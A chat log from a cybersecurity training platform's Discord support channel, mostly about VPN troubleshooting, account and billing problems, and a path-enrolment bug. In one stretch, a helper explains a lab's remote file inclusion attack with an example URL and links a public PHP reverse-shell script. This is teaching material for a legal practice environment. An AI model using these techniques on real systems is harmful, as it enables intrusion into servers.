site-support

[broken bear]

yeah, you aren't closing that terminal to run the curl command are you?

[lost valve]

Nope, running openvpn in the background with &

[broken bear]

Do me a favor, don't background it and open a new term window or pane and run the curl command

[lost valve]

Will do

[broken bear]

lets see if there's any new output, and maybe check the journal log as well

[lost valve]

Same result

No reply from https://10.10.10.10/whoami

[broken bear]

Run the VPN troubleshooting script

https://github.com/tryhackme/openvpn-troubleshooting

[lost valve]

MTU failed at 1000

That's what sent me here 😅

any ideas would be greatly appreciated

it works without issues on my laptop, I just can´t seem to get it work on my nethunter phone

I can ping google without issues

[strange oasis]

When trying to open a learning pathway I always get Jr Penetration Tester regardless of which pathway I choose. I've tried in both Chrome and Firefox. Anyone else having this problem?

[lost valve]

TX pakets are increasing, RX packets are not

[quaint spindle]

Opening the learning pathway from a bookmark or the actual THM site?

[broken bear]

My bet is that it's something to do with the cell network hating your vpn connection; try setting the MTU option manually as an argument to the openvpn command or edit the config file

[strange oasis]

From the site

oops, responded to the wrong message

[quaint spindle]

Could you send a ss from what you're trying to click?

[broken bear]

What? Try clearing cache and history or opening in an incognito window

[lost valve]

I{m connected to wifi not cell data, but I did think the same thing originally, but the ISPreplied that they are not to blame

[quaint spindle]

most likely an assigned cookie that just needs cleared

or your browser's cache

[strange oasis]

I cleared the cache and tried using an incognito window. Neither worked.

[broken bear]

Yeah, I wouldn't trust that. Depending on network congestion, I think it's pretty likely. Also wifi is less than reliable in a lot of situations as well, if there are a lot of devices connected to a home network I could easily see that thrashing the network as well.

[quaint spindle]

So even if you click a path like 'Pre-Security' or 'Cyber Defense', it still takes you to Jr. Pentester?

[strange oasis]

I was able to find a link directly to the pathway I want but when I click on enroll it takes me to the Jr Penetration Tester page again

[strange oasis]

Yes, no matter which one I select.

Frustrating because I was working on the SOC pathway and can't continue.

[quaint spindle]

right

did you try this link? https://tryhackme.com/path-action/soclevel1/join

[strange oasis]

I just clicked that link and it took me to Jr Pentester

It's odd that it does the same for both Chrome and Firefox

[quaint spindle]

could be a thing where your account saves your last accessed path, and uses that for any links you try to click on.

tried making a new account and accessing the SOC path?

[rough totem]

I created some custom paths in our management dashboard for our different classes, when ever I click the join link it takes me to the same path (i.e. click the CYB 331 path and it takes me to the CYB 453 path). I tried different browser, clearing cache and incognito. Seems like a problem similar to @strange oasis

[strange oasis]

I can get to it if I'm not logged in. As soon as I log in it takes me to Jr Pentester

[rough totem]

it also happens if I click a generic THM path

[worldly zodiac]

@broken bear can you re verify me when you have a chance or point me in direction to do it 😁

[broken bear]

send the !verify <token> command to the bot in a DM again

[strange oasis]

Definitely sounds the same.

I just logged in using Microsoft Edge. I have never been to TryHackMe using this browser before. Still takes me to Jr Pentester

[rough totem]

maybe there is an issue on their backend that tracks the path you are on

[lost valve]

will try switching to mobile data hotspot from my daily driver, see if it makes any difference

update: tried switching to mobile data

curl: (7) Failed to connect to 10.10.10.10 port 443 after 78 ms: Couldn't connect to server

curl fails this time instead of hanging there

[strange oasis]

Must be.

[worldly zodiac]

@broken bear need to update my token had not change discord accounts unfortunately so my token says it have one applied to this discord already

[lost valve]

ping fails with TTL value exeeded

[broken bear]

You just want the token unlinked to the current discord account I am replying to?

[strange oasis]

I hope this can be fixed quickly. I reupped my membership so I could complete the SOC pathway and now I'm at a standstill.

[broken bear]

at least progress, i really think it's network related and not necessarily ovpn. If you change the MTU to 1000 and it still fails, try a different network? Maybe the starbucks or the public library will be better

[robust gale]

any tips or steps to get better machine stability? Multiple rooms machines crashing on me under 5 minutes...

[quaint spindle]

might want to report it to #site-bugs

[strange oasis]

Will do, thank you.

[scenic torrent]

Gave +1 Rep to @quaint spindle

[worldly zodiac]

@broken bear yes please

[lost valve]

will test on a different network later today

[rough totem]

@strange oasis all of the SOC Level 1 rooms are listed here: https://tryhackme.com/path/outline/soclevel1
you might be able to go to each one indvidually

[lost valve]

thanks a lot friend!

will update you once tested

[strange oasis]

Thank you! I will give that a try.

That worked. thanks again.

[rough totem]

Great! Have fun

[worldly zodiac]

thanks juun veri the correct token thanks a million

[bronze escarp]

Hello. I just checked out AWS path which is locked. After I opened the path i understood it was not available for me, so fine. But now i am kinda stuck in the path. Attempts to enroll in other paths just redirects me back to AWS path. I cannot open any other path. Seems crazy but has someone experienced it before?

[plush bay]

ooh 2 people with the same problem

and there we go a third it happens to shadow too

@tawdry orbit seems something is messing up the changing of current active path for users keeping them stuck in a single one when trying to view the others

[nocturne lantern]

Hi all— I can’t seem to select any other learning path on the site

I want to switch over to a different one but every link takes me back to my current enrollment

Anyone experienced this before? Is this a site bug?

[nocturne lantern]

Ah! Indeed

[bronze escarp]

Yes you are not the first

[nocturne lantern]

Ok I’m not going insane. Thank you

[tawdry orbit]

Forwarding this one. It seems to be with any path switch, not just from AWS to another path. Thank you for reporting. 🙂

[rough totem]

Thanks!

[scenic torrent]

Gave +1 Rep to @tawdry orbit

[bronze escarp]

Yeah it seems like it. Thanks!

[scenic torrent]

Gave +1 Rep to @tawdry orbit

[plush bay]

yuup can confirm.. it is happening with some for junior pentester
and for shadow with offensive pentesting

[tawdry orbit]

We're looking at the issue at the moment. 🙏

[serene heart]

uh I can't seem to change my email to my student email (which I hope is supported since it's @du.se)

Swedish university (Dalarna University)

ok it finally worked, weird. Must have been a bug or request overload 👍

[tawdry orbit]

@rough totem @bronze escarp @strange oasis @plush bay Should be working now. 🥳

[rough totem]

It's back to normal, thanks for the quick response!

[scenic torrent]

Gave +1 Rep to @tawdry orbit

[strange oasis]

Thank you, all good now.

[scenic torrent]

Gave +1 Rep to @tawdry orbit

[lost valve]

Hi guys, tested on different network with same results

Same output for the ts script, MTU value failed at 1000, aborting MTU check

Tried setting the MTU on the IF to 900 but same thing

Tried 1460, 1300, 1200, 1000, 900, all yield same results

I tried again on my laptop running kali on WSL2 which used to work but for some reason that ain't working either

@broken bear

[broken bear]

we have exhausted my knowledge of what i've seen to troubleshoot. Best bet for the next step is to email support, i think

[lost valve]

Thanks a lot for your help and patience, will email support

[zinc canopy]

anyone here?

[tulip river]

hi there

i have problem with logging into my account

[naive dust]

Can OpenVPN work on a mobile 3G hotspot ?

[weary spindle]

It's touch and go, it works for some, but not others, and not 100%

[weary spindle]

What sort of problem?

[weary spindle]

Just ask 🙂

[tulip river]

login failure

and forget password don't work

my account name is aelwalol

and i forget the linked email

but iam sure it's one of 2 email

and the problem is conflict email address and login with google feature

[weary spindle]

If you didn't sign up with google, you can't use it to log in.

You'll need to email support.

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[spice ember]

I got "Connection Timeout" when I tried to connect OpenVPN. Is anyone else experiencing the same problem?

[weary spindle]

For more context, what are you trying to do?

[spice ember]

I just try to connect with my conf. file (EU VIP1). I seems connected in the access page but it's not.

[weary spindle]

That page can be bugged,

Do you have an error?

[spice ember]

I get Connection Failed on OpenVPN GUI

[weary spindle]

Oh wait, GUI.

Are you on Windows?

[spice ember]

and yeah thats bugged sometimes it's connected sometimes not

[spice ember]

yes

[weary spindle]

As your host?

[spice ember]

yes

[weary spindle]

I'd suggest not using your host on the network.

I'd create a VM, if you have the resources.

[spice ember]

I setted VM I want to connnect with NAT connection on my host

Is it possible

[weary spindle]

The VM will connect with NAT.

I use NAT for my vm's.

[spice ember]

And you suggest to set openvpn on vm right?

[weary spindle]

You won't need to.

You just need to download your configuration file and connect with

sudo openvpn path/to/file/*username*.ovpn

That will create a tunnel to the THM machines.

[spice ember]

Ok. I'm on windows host. My vm is linux so I should use on vm

[weary spindle]

Yes

[spice ember]

thank you I will try

[grizzled scarab]

Openvpn issue still there

[naive dust]

I have an issue with my account, I reactivated premium on 13 July - worked for 1-2 days and now it says I do not have premium anymore.

[grizzled scarab]

Any help with the openvpn connection

Solved

[bronze vale]

Check DMs

[naive dust]

Anyone know how to get the discount voucher for the merch? The 5% off for the 45 day streak

[plush bay]

quite sure it applies automatically but good question

[naive dust]

May just take a second to send out but will see! thanks for the response

[scenic torrent]

Gave +1 Rep to @plush bay

[weary spindle]

You need to E-mail support.

[plush bay]

think one of the people with thm staff could probably answer.... not so much anyone else

[weary spindle]

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[plush bay]

yeah that is a good route too

[weary spindle]

It's the only route 😄

[plush bay]

so does this imply shadow has missed out on their 5% discount for all their purchases on the swag store???

don't really care as would like to support tryhackme with more money anyways

[weary spindle]

Yes.

You could probably ask Jabba for it now xD

[plush bay]

because they nevered messaged for a a discount code

[plush bay]

good to know and thanks scrubz.. will ask jabba whenever they are around if shadow remembers

[scenic torrent]

Gave +1 Rep to @weary spindle

[weary spindle]

With the amount of users in THM, and it was manual, Jabba would spend all day E-mailing people.

[plush bay]

contact support via email for the discount code.... sorry was incorrect in the info shadow shared

[naive dust]

Sent them an email. thanks

[scenic torrent]

Gave +1 Rep to @plush bay

[plush bay]

yeah shadow just thought it was some automation setup for it but apparently not

[north tulip]

Is there any option to change username now ?

[plush bay]

click this button in the lower right corner of the tryhackme website:

then from there use the send a message and then help with my account then i would like to change my username

[north tulip]

Ty for help, Just a question, Changing username can have any effect on stats?

[scenic torrent]

Gave +1 Rep to @plush bay

[plush bay]

your points and badges??? or your activity feed??? nope should not change after you get a new username

[north tulip]

Oh kk . ty again

[plush bay]

no problem

[plush storm]

https://stackoverflow.com/questions/76717491/im-facing-a-problem-i-cannot-slove-in-openvpn-like-tryhackme-or-hackthebox
if anyone can help me with this

[tribal burrow]

you need username@ip

[plush storm]

nah not necessary see my phone network works 100% i just want Initial connection

[tribal burrow]

you use local VM on THM attack box ?

and what room is that?

[weary spindle]

Everything body is having issues with their phone networks these days, wonder if something is fished to stop making it work.

@north tulip you'll also need to regenerate your vpn, you'll also be assigned a new tun ip.

[north tulip]

It wasn't me asking

nvm btw

[weary spindle]

I referred to when you change your username.

I should have made that cleaerer

[north tulip]

nvm :>

[fervent spire]

Yo does someone here know how can I paste into a windows machine in the browser RDP seem to work very poorly for me

[stiff gulch]

There should be like a little tag on the left side that you can expand. Then select the middle button. From there it should work

[weary spindle]

If you put it in full screen mode, it should access your clipboard.

[woven kelp]

I already paid my subscription last 2 days but until now it says Payment Pending
You will automatically be navigated away from this page when the payment is confirmed. help me

[glacial isle]

this is the guide for subscribers for which path they should take but i cannot seem to find the link for CC:Pentesting path

[pastel tinsel]

Cc pentesting has been removed from the site due to being too old, iirc

[weary spindle]

Must be A|B testing.

I know the website is being re-designed.

[exotic dove]

must be a hacker*

I still have the old design here

[naive dust]

Hey can someone help me please?

I will no longer be able to access my account, so I need to at least cancel my subscription.

I had an autogenerated password by my browser to my THM account AND to my Email. My computer won't boot so I lost access to both Email and THM account.

I can easily create a new THM account, but the old one would be renewing the subscription and taking my money.

[glad oyster]

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[glad oyster]

cc @bronze vale can they contact their bank to stop it while waiting for a response from support?

[weary spindle]

Was it a password manager?

[naive dust]

It was the built-in keychain in Firefox but I wasn't using a account.

I tried everything so my only option is cancelling the subscription somehow..

I do have the account paired with my Google Authenticator app on my phone, but I doubt that will help

[bronze vale]

Not really no

[weary spindle]

How's the support response time these days?

Just so we can advise members who wish to contact.

[bronze vale]

It’s still the same, it should hopefully be saying 1w for the response time, a few users are neglecting to read it though

[rotund python]

Hello, I keep getting disconnected from machines in every five seconds or less. My internet connection is good, I don't know what is wrong. It used to be fine but now it is impossible to do the tasks.

[olive idol]

why doesnt telnet work for the target's ip on my kalininux (stuck on "trying") but it works on the site's ran machines?

[olive idol]

Trying 10.10.243.72...
tenlet: Unable to connect to remote host: Connection timed out

[bronze vale]

Where is that IP address from?

[olive idol]

THM room, its just about port 8012

[naive dust]

I got my account back, if anyone from support sees this, there's no need to cancel the subscription anymore.

[weary spindle]

I think support will email you back confirming you want it deleted.

[fervent spire]

TY!

[glacial hound]

Hey, please DM me your email address 🙂

[glacial hound]

You sure? :p

[weary spindle]

I think I seen Jabba say that once.

[glacial hound]

I wouldn't count on it 🙂

[bronze vale]

Before tickets we would ask, now that we use a ticket system, you are manually inputting your information which is all the confirmation we need 🙂

[weary spindle]

Ah, got ya

[naive dust]

Sent 🙂

[nocturne heath]

mr.robot i start machine and dialog box with timer no longer comes up with the room discontinued?

is*

[bronze vale]

We have set the room private for some maintenance :)

[nocturne heath]

ah well that would explaine thanks

[jovial echo]

Same experience on 4 different networks

[jovial echo]

Just latency, however I thought tryhackme would have servers close to Australia

[pastel tinsel]

Can you plug it in #1130565893592723638 ?
(Just if more people will ask)

[bronze vale]

Let me see if I am allowed 😆

[pastel tinsel]

Marta can😅

[bronze vale]

I have write permission, but not sure if I am allowed to add rooms there hah]

[pastel tinsel]

Go bother your coworkers

[bronze vale]

Already have :P

[zealous yoke]

sed -i 's/bother/bless/g'

[pastel tinsel]

Error: kindness not found

[zealous yoke]

everythang jabba is a blessing

[pastel tinsel]

Yeah, and now I can only bless you with work stuff and not discord stuff

[zealous yoke]

indeed 😄

almost like that was the plan

[pastel tinsel]

Bot is broken

[bronze vale]

Which?

[bronze vale]

I'll take over the Discord, nobody can stop me! Muhahah

[zealous yoke]

https://tenor.com/view/i-would-like-to-see-it-smug-meme-monique-gif-13196153

[pastel tinsel]

It was just to mess with Ben😅

[zealous yoke]

I mean I can break it to prove a point

[bronze vale]

You aimed at Ben but accidentally shot me:(

[zealous yoke]

that i'm veyr good at

[bronze vale]

I bet I can break @marble breach with one command 😆

[pastel tinsel]

You step into the bullet

[zealous yoke]

so can I, sudo shutdown now 😛

[pastel tinsel]

So can I!
!help

[marble breach]

Pong!

API Latency

103ms

Client Latency

377ms

Jul 20, 2023, 2:08 PM

Translated text: hi

[bronze vale]

QUE?!

It's not meant to do that

[zealous yoke]

I mean I suppose it's technically right. translating english into english lmfao

[bronze vale]

Room is fixed

[bronze vale]

It is supposed to crash due to an issue with... I don't know... it just doesn't haha

[zealous yoke]

Lmfao I like that the “not working as intended” is the fact that it is working

[pastel tinsel]

/translate

[naive dust]

Room: Windows Privilege Escalation

Task 6, Machine is starting but wont show the gui

[plush bay]

really??? does windows clear logs at reboot/restart???

me
121141
borgqueen se
was awarded a badge
, 7 .
Level ;
vi Sie 3
Hash Cracker :
Cracking all those hashes
Come learn all things security at TryHackMe

so looks like it is some saved data for a badge reward if you clear out the \n new line chars

the other picture looks like jumbled encoded data parsed as unicode though

still would encourage someone like @bronze vale or someone else maybe look into the above

[bronze vale]

What extension is the file

You said it was on your desktop, right?

So close it and then view the file extension

Might have just been a temporary file

[woven basin]

hidey ho neighborinos! i'm having the dangedest problem trying to access the network on the 'breaching ad' room.

yes have the vpn for breachingad

changed DNS in NetworkManager to the thmdc IP..also did a systemctl restart networkmanager after

but when i nslookup or try to ping, host is unreachable. i also tried the resolv.conf file !! no joy

i'm beginning to think it was my VM networking but i've tried both NAT network and bridged. i'm outta ideas

i followed two walkthroughs haha no luck

[weary spindle]

Check the pins in #breaching-ad

[hollow notch]

I used what's suggested in the forum. I have a script that modify somethings but I still get caught with it.

[naive dust]

Is it normal that the IP Address in the "Active Machine Information" is different from the AttackBox IP Address?

I'm doing the Jr Pen Tester, I'm at File Inclusion and I'm supposed to have a file called cmd.txt, but when i type it in my browser (http://10.10.x.x./cmd.txt)

One IP says Not Found
And the second IP says Error code 405

I tried restarting everything many times, but I always get a different IP at the top of the THM page (next to my hacking streak) and a different IP inside the AttackBox

[zealous yoke]

You're confusing the AttackBox with the machine that you deploy in the task.

The AttackBox is deployed using the blue "Start AttackBox" button at the top of the room, the target/vulnerable machine is the one that is deployed using the green "Start Machine" button.

There will be a card at the top of the room that will display the IP address that you are supposed to attack. The IP at the top of the THM page next to your hacking streak is either your AttackBox (not the machine you're supposed to target), or the IP address of your VPN connection 🙂

[naive dust]

Ohh makes sense thank you.

Any idea why I can't access the cmd.txt file?

[scenic torrent]

Gave +1 Rep to @zealous yoke

[zealous yoke]

#1 is the AttackBox (via the Start AttackBox button)
#2 is the IP address of the machine that you need to target or interact with. In this case, it is 10.10.231.210. So, using your example, I would need to access 10.10.231.210/cmd.txt

you would replace that with whatever is displayed in that card (#2)

[zealous yoke]

Mhhm okay. That is the correct ip 🤔

Let me double check the room - I haven't done it for a while. What task are you on?

[naive dust]

Yeah it's strange, its Task 6

[zealous yoke]

Okay, so it looks like that IP/cmd.txt is just an example?

And just below, it asks you to try out an RFI attack. I would presume that the machine is configured so that /cmd.txt can only be get through a certain way.

[naive dust]

I get what you mean but i tried that too

I sent the wrong screen actually but yeah I did try multiple things

This is the correct link I believe, but doesn't work

[zealous yoke]

Ah, okay I understand now

Right so essentially:

1. You need to create and host the cmd.txt from your machine (I.e. Kali) using something such as python server for example:

Let's say that the attacker hosts a PHP file on their own server http://attacker.thm/cmd.txt where cmd.txt contains a printing message Hello THM

2. http://attacker.thm/cmd.txt in the http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt needs to be the IP address of your machine.

3. Say I create a file name cmd.txt and fill it with cmnatic on my Kali, which has a VPN IP of 10.14.32.16, I would do: http://webapp.thm/index.php?lang=http://10.14.32.16/cmd.txt that should display cmnatic on the site

Haven't tested, but I think that's my understanding of what the task is wanting you to do after having a re-read of it

[naive dust]

Yes I tried creating the .txt file using echo whatsup > cmd.txt in the terminal

but that didnt help

So i guess im supposed to find how to "host the file" ?

[zealous yoke]

Okay yup so echo whatsup > cmd.txt is the first step. But now you need to "host" the file so that the remote machine can access it. Something like a python http server is really quick and easy for this: python 3 -m http.server

Oh okay I've got it. I can show you what needs to be done. Wanna hop in VC and I can share my screen/talk through it?

[naive dust]

Yea sure that'd be great

[zealous yoke]

we can go to https://discord.com/channels/521382216299839518/794951289951092766 I'll be there in a minute 🙂

[naive dust]

@zealous yoke Thank you so much mate 💪

[scenic torrent]

Gave +1 Rep to @zealous yoke

[zealous yoke]

You're more than welcome. Lot of info take on board but hopefully that was helpful 😄

[naive dust]

Very helpful 👍

[plush bay]

no but sounds like something that would be interesting but don't think aws supports mac virtual machines for target machines

[zealous yoke]

not currently unfortunately. I have a room on iOS forensics but that's pretty much it for anything mac. This is because it is extremely hard to virtualise and such

[zealous yoke]

AWS do, however, it is extremely costly, and IIRC, there is minimum deploy time on mac instances on AWS. If I remember right, AWS will force you to run the Mac instance for a minimum of 24 hours

[plush bay]

ah

well then that is not happening easily

[zealous yoke]

at least not at the moment

Not that I can think off on the top of my head. Could be a tool saving a HTTP request or something - hard to tell without knowing what you were doing at the time the file was created

ah mhhm strange. Yeah, I'm not entirely sure to be honest with you 😅

[plush bay]

jabba asked around about it earlier too

so it is a bit of a mystery and without much info on it we can do near null

[still coral]

how do the scoreboards in challenge rooms work? looks like It's always just 10 random users

[plush bay]

the first 10 completers shadow thinks

with blood points to the person that answered the task question first

[tawdry orbit]

Sorted on points, the user viewing is always at spot 10 unless they have more points than spots 1 to 9.

[still coral]

i don't see any blood points - all the 1-9 spots have the same amount of points

[tawdry orbit]

Not all rooms have blood points, usually only challenges, but sometimes walkthrough rooms.

[still coral]

also the dates got me confused - for example https://tryhackme.com/room/easyctf shows first 9 completions in a span of more than a year which is hard to believe

expecially since

85429 users are in here and this room is 1432 days old.

[frosty obsidian]

i've seen a few questions, but no real answers. i have a 45+ day streak and am looking for 5% off, but I received no coupon code and the prices are the same in the store. What am I missing?

[vast python]

Hey ya'll. I need help. Trying to terminate machine, and when I press button to terminate, it terminates but really doesn't, I reload page. It still has time counting down. I have done this numerous time. Cleared Cache and still same issue. This is really weird. I will let the time runout and see if the machine is still running but why do that?! I need to know why it is acting like I never pressed the terminate button!!!!

I am assuming your good now? I am having the same problem you were. What is the cause of it? Why do I have to wait for time to runout for it to self terminate. This is very frustrating and I don't have time like that

[vast python]

I also tried : fetch("/api/vm/running")
.then((r) => r.json())
.then((vms) =>
vms.forEach((vm) => {
if (vm.roomId === "kali") {
return;
}
fetch("/api/vm/terminate", {
method: "POST",
body: JSON.stringify({ code: vm.roomId }),
headers: {
"csrf-token": csrfToken,
"Content-Type": "application/json",
},
});
})
)

Doesn't work

for me at least

Im just gonna go to bed, wake up and see whats up, I have an hour and some change left on machine. i'll come back with update...

[weary spindle]

Try this one,

fetch('/api/vm/running')
  .then(r => r.json())
  .then(vms =>
    vms.forEach(vm =>
      fetch('/api/vm/terminate', {
        method: 'POST',
        body: JSON.stringify({ code: vm.roomId }),
        headers: {
          'csrf-token': csrfToken,
          'Content-Type': 'application/json'
        }
      })
    )
  )

[solar finch]

I've got a Kali VM that connects to THM via VPN. Do I need to worry about the VPN randomly disconnecting and causing me to do something malicious on the Internet?

[olive idol]

i have problems with kali linux where can i get help

[cold lava]

Hello, I have a problem with accessing the machine. I did the steps on this room https://tryhackme.com/room/openvpn
I started a machine at 10.10.105.136

At the end it says:

Go to http://10.10.105.136 - can you see a website?

But then I get the "connection timed out error" on the browser. I have the OpenVPN connected with the config from the access page.
Does anybody know why this happens?
I can't complete the room without accessing the machine from the browser...

[naive dust]

@zealous yoke Hey bro I'm trying to do my first rev shell but I can't remember the website you visited to download some files

[zealous yoke]

The reverse shell I used in the call is from here: https://github.com/pentestmonkey/php-reverse-shell 🙂

[naive dust]

Thanks! I need to view the contents of "$_REQUESTS" on the website you used the rev shell on yesterday

[scenic torrent]

Gave +1 Rep to @zealous yoke

[naive dust]

Is there a easy way to do that?

File Inclusion Task 8 - flag 3

[zealous yoke]

Hey, the VPN doesn't route your internet trafffic. For example, if you visit youtube.com it'll come from your ISP IP address.

Anything you do on the machines (i.e. 10.10) is "internal" 🙂

[zinc hemlock]

Hello, just a quick question. I submitted a writeup yesterday to vulnversity and it's under review, can i know how long is it going to take? Because i read in a forum it's all upto the owner of the room and you gotta let em know. So here I am

[bronze vale]

That probably won't be accepted.

[zinc hemlock]

Because the rooms old or?

[bronze vale]

Yes

[zinc hemlock]

Okay np

[naive dust]

Is it posted on other forums? Even if it's not put on the writeups section, could still go to good use

[upper flame]

Hi, I have finished the pentester jr route, but in the certificate, my name is wrong by one letter.

I would like you to help me correct the name of my certificate.

My username is: ZizuPM

Receive a cordial greeting.

[bronze vale]

#site-support message

[sturdy sky]

@hello team, can someone support here or address me to the right room, please ?

[weary spindle]

Which sort of support do you require?

[sturdy sky]

Despite the membership, I cannot login nor reset my login password. I have sent several emails but no feedback.can you support please ?

[weary spindle]

There is a 3 day wait for support.

However if you E-mail more than once, it will push you furhter back down the queue.

[sturdy sky]

Ok, clear. Thanks for your answer ☺️

[mild rapids]

Hello there i have a problem i cant accsed to a machine altough i am connecting to the openvpn ?

[naive dust]

does the attackbox work?

[mild rapids]

Yes it is working

[naive dust]

some rooms have machines that haven't disabled firewall rules etc so i would use the attackbox. happens to me especially on the EternalBlue room

[mild rapids]

Oow i incounterd the problem in the owasp top 10 room in the injection challenge

so i should use the attack box not the host directly

[naive dust]

yep i presume you mean the book site?

[mild rapids]

If it yes is there is nothing else to do ?

[naive dust]

nope not really, you can report it in room-bugs but tbh most of the rooms are outdated

[naive dust]

it shouldn't happen in the injection challenge, i thought you ment task 26

[mild rapids]

No in this challenge

[mild rapids]

I dont know it

[naive dust]

you can access the website with vpn yes/no?

[mild rapids]

No i cant acces it with vpn neither normal connection

[naive dust]

have you started the machine in task 2?

try restarting the machine

also check with "ss -tulpn" on how many openvpn connections you have

if you have more than 1 then kill the rest

remember that its on port 82 aswell

[mild rapids]

Yes it worked , i didnt start the machine from the first and secondly i specify it on port 82

[naive dust]

so it works now?

[mild rapids]

Thank you so much @naive dust

[scenic torrent]

Gave +1 Rep to @fierce flare

[naive dust]

np

[mild rapids]

Yes it worked

[distant ether]

hi

[mild rapids]

Hey

[distant ether]

i have problem with

subscription

is there any support guy here

[mild rapids]

What is the problem , is there any one that could help you he / she will ?

[distant ether]

i have paid my subscription fee

but i cant use my premium account

[raven echo]

Is there any way to change card details without cancelling the subscription?

[vast python]

Thank you , it worked!

[scenic torrent]

Gave +1 Rep to @weary spindle

[raven echo]

Is https://tryhackme.chargebeeportal.com/ the correct link?

[distant ether]

https://tryhackme.chargebeeportal.com/ i visit there

yes

#9518

ticket id is #9518

so when they help me 😦

i wanted to go ad lab

i made my payment already

[naive dust]

Hello ~ apologies for bugging about this again, I have looked a the THM forum and found no answer to my problem. My prblem is I am still having issues with thm-troubleshoot script and recieving the following result below:

[naive dust]

Update: I think i fixed with this

I found this link: https://community.ui.com/questions/OpenVPN-how-to-use-AES-256-CBC/78283e1c-7c5e-4ea5-8dbe-31d9ecb6a23d

[weary spindle]

when did you last regen your config?

[oak pagoda]

Hello i have 2.6 openvpn and i did what appears in this article to make it work https://tryhackme.com/forum/thread/62bc5fb1fcafa700618f25f0 but then appears this problem https://ibb.co/CKP8100

do you know what i should do?

[weary spindle]

Can you verify your account and attach screenshot.

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/en/articles/6495858-discord

From TryHackMe with ❤!

[oak pagoda]

Hello i have 2.6 openvpn and i did what appears in this article to make it work https://tryhackme.com/forum/thread/62bc5fb1fcafa700618f25f0 but then appears this problem when i run my file of ovpn

[weary spindle]

Can you cat your openvpn file?

[surreal kite]

I believe I might have a solution to that, just need to switch my machine, one moment

[oak pagoda]

yes

can i send it to your md?

[surreal kite]

try:
openvpn --data-ciphers 'AES-256-CBC:AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305' --config <path to config file>

[oak pagoda]

i dont know if it have private things

[weary spindle]

Don't suggest this please.

[weary spindle]

Yes.

[surreal kite]

oh sorry I didn't know there's something wrong with this but it has been working for me

may I ask why it should not be suggested?

[weary spindle]

We like to suggest users either use the Troubleshoot script, or regen their vpn file,

We don't suggest this (by mods request)

• people shouldn't run code on their machines without knowign what it does.

• Some people suggest the sed code, and it doesn't just replace it one config, it changes them all, so they could have multiple .ovpn files in their folder, that may or may not no longer work.

Also, I doubt you, yourself will blindly run code without knowing what it does.

And I'm not a mod/staff, I'm just relaying what we have been asked to do, in this case.

[surreal kite]

Oh sorry I'm new to here, didn't know that's the case, just bumped into what feels like the exact same issue before and wanted to suggest a solution. By no means I would encourage to run any code blindly, and by sending the command I suspected that user will do the research on what the command does before running it.

[viscid brook]

Hi, I can't get a student discount on my subscription, I would appreciate it if someone could help.

[weary spindle]

If your email is not recognised, you'll need to send an E-mail to the following address

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[surreal kite]

I've also encountered one problem recently. During a specific timeframe (around 9 pm-11 pm CEST this Monday), I've not been gaining any points for answering questions (tried different rooms). Issue stopped occurring in the morning of the following day but points that I've gained during that timeframe (about 400 points) have not came back. I've written an email to support but have not received any response yet. Is it a known issue? Is there anything else I should try?

I can share much more details about this if needed. Did some tests during that time frame to confirm that (which I sadly have not recorded) and I'm 100% certain the issue was there, beyond any doubt. If I, lets say, created new account and completed all the same rooms I have completed now, there would be a ~400 points discrepancy between my current account and that new one.

[karmic karma]

Hello, I have sent an email to the support over a week ago about the student discount including verification but heard nothing back so far.

[bronze vale]

Dm me your email Address please

[karmic karma]

dm'ed!

[zinc hemlock]

The site's down? It's throwing 500

[lilac anvil]

I'm setting up OpenVPN for TryHack me for the first time. Windows 11, fresh install.

The connection in OpenVPNGUI just keeps looping and the log shows this:

Client exception in transport_recv: crypto_alg: BF-CBC: bad cipher for data channel use

I run the program as admin. I'm using the latest version for win 11 on the site. I tried rebooting. Tried installing and uninstalling. I've tried different servers for OpenVPN. The connection exists in network settings.

Anybody have any ideas?

[lilac anvil]

Okay, so I found the solution here: https://tryhackme.com/forum/thread/62bc5fb1fcafa700618f25f0

The thread is from a year ago, and the response from a community member 5 months old, but still a problem I see. I had to add a line to the config file:

cipher AES-256-CBC
data-ciphers AES-256-CBC

Just doing "data-cipher AES-256-CBC" or "cipher AES-256-CBC" independently was ineffective. Both lines had to be present and it connected immediately.

Update your config file generator please!

[bronze vale]

What VPN server are you using?

It sounds like you haven't regenerated your OpenVPN file

[lilac anvil]

It defaulted me to EU-Regular-3 when I first generated one.

Then I tried EU-Regular-2
Then US-East-Regular-1
Then EU-Regular-1

Then I went back to 3 to continue troubleshooting and adding the lines to the config file are what solved it.

[bronze vale]

Did you press the "regenerate" button?

[lilac anvil]

Yes. Each time.

[bronze vale]

Our OpenVPN servers are working fine

[lilac anvil]

Don't know what to tell ya. I tried ever other setting change and troubleshooting recommendation I could. The config file line addition is the only thing that's worked.

I just regenerated and downloaded another config file just now and it did not work. Loaded the previous config with the line edit and it works instantly.

[lilac anvil]

Does it hurt anything to add the line as a "cover all bases" approach?

[bronze vale]

Yes

In the newest versions of OpenVPN, the cipher line is becoming depreciated.
Soon, OpenVPN will not accept the cipher line and you will not be able to connect.

[lilac anvil]

I see. Well like I said, each of those lines independently did not work. I got a different error message when just the cipher line was present.

But with both it was instant

[bronze vale]

We are looking to improve our infrastructure to ensure that our OpenVPN configurations are working for the newest versions of OpenVPN.

See here: #site-support message

[lilac anvil]

Keep this conversation in mind if this issue crops up for others. There's other people on the forum also experiencing it and the same solution works for them. Even if ciphers is deprecated, the Server handshake code might still be looking for the line to be there for some arbitrary reason before it looks for the data-ciphers line. Thanks for being so prompt with responses and information though. Just glad I found a solution before I gave up.

[scenic torrent]

Gave +1 Rep to @bronze vale

[cobalt oriole]

I try use OpenVPN in Windows using OpenVPN room. The VPN is connected. But I can't access the server.

There is warning in the log, mention about "sweet32 attack"

And there is "SESSION INVALIDATED KEEPALIVE_TIMEOUT"

Please help to solve the problem

[naive dust]

Hey Scrubz just saw this ! Last time was like a couple weeks ago, Maybe a month ago can't remember. It's been a long while though

Gonna test here again after class. I'll hop on discord again around 12PM PST

[timber magnet]

@tawdry orbit @crystal marlin
